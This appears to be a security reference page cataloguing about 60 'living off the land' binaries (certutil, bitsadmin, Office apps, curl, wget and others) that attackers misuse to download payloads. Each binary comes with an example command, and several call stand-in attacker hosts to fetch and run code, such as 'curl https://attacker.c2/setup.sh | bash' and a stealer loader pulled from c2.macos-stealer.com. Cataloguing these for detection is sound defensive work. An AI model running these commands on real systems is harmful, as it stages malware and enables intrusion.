Download LOLBins & Ingress Tool Transfer Utilities
Adversaries weaponize trusted operating system binaries to download external payloads, malicious scripts, and stage-2 implants without relying on web browsers or dropping suspicious third-party downloaders.
Commonly abuses utilities such as certutil.exe, bitsadmin.exe, curl, and powershell to fetch payloads. Ingress downloads frequently trigger outbound network connections from unexpected system processes.
Catalog of Download LOLBins
Displaying 60 itemscertutil.exe
Certutil.exe is a command-line program installed as part of Certificate Services. Attackers frequently abuse it to download arbitrary files from remote URLs, encode/decode Base64 payloads to evade detection, and hash files.
certutil.exe -urlcache -split -f http://example.com/payload.exe %TEMP%\update.exebitsadmin.exe
Background Intelligent Transfer Service (BITS) administrator tool manages asynchronous, throttled background transfers. Attackers use BITS to stage remote downloads that survive reboots and evade conventional network monitoring.
bitsadmin.exe /transfer myJob /download /priority foreground http://c2.evil.com/implant.exe C:\Windows\Temp\implant.exeAppInstaller.exe
Tool used for installation of AppX/MSIX applications on Windows 10
start ms-appinstaller://?source={REMOTEURL:.exe}CertOC.exe
Used for installing certificates
certoc.exe -GetCACAPS {REMOTEURL:.ps1}CertReq.exe
Used for requesting and managing certificates
CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE} {PATH:.txt}Cmd.exe
The command-line interpreter in Windows
type {PATH_SMB} > {PATH_ABSOLUTE}cmdl32.exe
Microsoft Connection Manager Auto-Download
cmdl32 /vpn /lan %cd%\configConfigSecurityPolicy.exe
Binary part of Windows Defender. Used to manage settings in Windows Defender. You can configure different pilot collections for each of the co-management workloads. Being able to use different pilot collections allows you to take a more granular approach when shifting workloads.
ConfigSecurityPolicy.exe {REMOTEURL}Desktopimgdownldr.exe
Windows binary used to configure lockscreen/desktop image
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:{REMOTEURL} /eventName:desktopimgdownldrDiantz.exe
Binary that package existing files into a cabinet (.cab) file
diantz.exe {PATH_SMB:.exe} {PATH_ABSOLUTE:.cab}Esentutl.exe
Binary for working with Microsoft Joint Engine Technology (JET) database
esentutl.exe /y {PATH_SMB:.source.exe} /d {PATH_SMB:.dest.exe} /oExpand.exe
Binary that expands one or more compressed files
expand {PATH_SMB:.bat} {PATH_ABSOLUTE:.bat}Extrac32.exe
Extract to ADS, copy or overwrite a file with Extrac32.exe
extrac32 /Y /C {PATH_SMB} {PATH_ABSOLUTE}Findstr.exe
Write to ADS, discover, or download files with Findstr.exe
findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE:.exe}Finger.exe
Displays information about a user or users on a specified remote computer that is running the Finger service or daemon
finger user@example.host.com | more +2 | cmdFtp.exe
A binary designed for connecting to FTP servers
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"Hh.exe
Binary used for processing chm files in Windows
HH.exe {REMOTEURL:.bat}Ieexec.exe
The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.
ieexec.exe {REMOTEURL:.exe}IMEWDBLD.exe
Microsoft IME Open Extended Dictionary Module
C:\Windows\System32\IME\SHARED\IMEWDBLD.exe {REMOTEURL}Installutil.exe
The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies
InstallUtil.exe {REMOTEURL}Ldifde.exe
Creates, modifies, and deletes LDAP directory objects.
Ldifde -i -f {PATH:.ldf}Makecab.exe
Binary to package existing files into a cabinet (.cab) file
makecab {PATH_SMB:.exe} {PATH_ABSOLUTE:.cab}Mmc.exe
Load snap-ins to locally and remotely manage Windows systems
mmc.exe -Embedding {PATH_ABSOLUTE:.msc}MpCmdRun.exe
Binary part of Windows Defender. Used to manage settings in Windows Defender
MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}Msedge.exe
Microsoft Edge browser
msedge.exe {REMOTEURL:.exe.txt}msedge_proxy.exe
Microsoft Edge Browser
C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe {REMOTEURL:.zip}msoxmled.exe
Microsoft Office XML Editor, used to handle XML documents in Microsoft Office.
msoxmled.exe /verb open {REMOTEURL}Ngen.exe
Microsoft Native Image Generator.
ngen.exe {REMOTEURL}OneDriveStandaloneUpdater.exe
OneDrive Standalone Updater
OneDriveStandaloneUpdaterPresentationhost.exe
File is used for executing Browser applications
Presentationhost.exe {REMOTEURL}PrintBrm.exe
Printer Migration Command-Line Tool
PrintBrm -b -d {PATH_SMB:folder} -f {PATH_ABSOLUTE:.zip}Replace.exe
Used to replace file with another file
replace.exe {PATH_SMB:.exe} {PATH_ABSOLUTE:folder} /Awinget.exe
Windows Package Manager tool
winget.exe install --accept-package-agreements -s msstore {name or ID}Xwizard.exe
Execute custom class that has been added to the registry or download a file with Xwizard.exe
xwizard RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z{REMOTEURL}PhotoViewer.dll
Windows Photo Viewer
rundll32.exe "C:\Program Files\Windows Photo Viewer\PhotoViewer.dll",ImageView_Fullscreen {REMOTEURL}Scrobj.dll
Windows Script Component Runtime
rundll32.exe C:\Windows\System32\scrobj.dll,GenerateTypeLib {REMOTEURL:.exe}Shimgvw.dll
Photo Gallery Viewer
rundll32.exe c:\Windows\System32\shimgvw.dll,ImageView_Fullscreen {REMOTEURL:.exe}Bcp.exe
Microsoft SQL Server Bulk Copy Program utility for importing and exporting data between SQL Server instances and data files.
bcp "SELECT payload_data FROM database.dbo.payloads WHERE id=1" queryout "C:\Windows\Temp\payload.exe" -S localhost -T -cdevtunnel.exe
Binary to enable forwarded ports on windows operating systems.
devtunnel.exe host -p 8080ECMangen.exe
Command-line tool for managing certificates in Microsoft Exchange Server.
ECMangen.exe {REMOTEURL}Excel.exe
Microsoft Office binary
Excel.exe {REMOTEURL}MSAccess.exe
Microsoft Office component
MSAccess.exe {REMOTEURL}MsoHtmEd.exe
Microsoft Office component
MsoHtmEd.exe {REMOTEURL}Mspub.exe
Microsoft Publisher
mspub.exe {REMOTEURL}msxsl.exe
Command line utility used to perform XSL transformations.
msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}Outlook.exe
Microsoft Office component
Outlook.exe {REMOTEURL}Powerpnt.exe
Microsoft Office binary.
Powerpnt.exe {REMOTEURL}ProtocolHandler.exe
Microsoft Office binary
ProtocolHandler.exe {REMOTEURL}Squirrel.exe
Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.
squirrel.exe --download {REMOTEURL}Update.exe
Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.
Update.exe --download {REMOTEURL}Visio.exe
Microsoft Visio Executable
Visio.exe {REMOTEURL}VSLaunchBrowser.exe
Microsoft Visual Studio browser launcher tool for web applications debugging
VSLaunchBrowser.exe .exe {REMOTEURL:.exe}WinProj.exe
Microsoft Project Executable
WinProj.exe {REMOTEURL}Winword.exe
Microsoft Office binary
winword.exe {REMOTEURL}Wsl.exe
Windows subsystem for Linux executable
wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'xsd.exe
XML Schema Definition Tool included with the Windows Software Development Kit (SDK).
xsd.exe {REMOTEURL}GfxDownloadWrapper.exe
Remote file download used by the Intel Graphics Control Panel, receives as first parameter a URL and a destination file path.
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"curl
Curl is a tool to transfer data from or to a server using supported protocols (HTTP, HTTPS, FTP, etc.). Attackers leverage curl to download malicious second-stage scripts and pipe directly into bash or sh for fileless in-memory execution.
curl -fsSL https://attacker.c2/setup.sh | bashwget
GNU Wget is a non-interactive network downloader. Attackers abuse wget to retrieve remote tools, exfiltrate data via POST requests, and execute downloaded scripts.
wget -q -O - http://attacker.domain/installer.sh | shcurl
Curl is standard on macOS and frequently invoked in bash/zsh shell scripts by macOS stealers (e.g. Atomic macOS Stealer / AMOS) to fetch stage 2 Mach-O executables or exfiltrate keychain data.
curl -s -L -o /tmp/.stage2 https://c2.macos-stealer.com/loader && chmod +x /tmp/.stage2 && /tmp/.stage2Explore Other Attack Objectives & Tactics
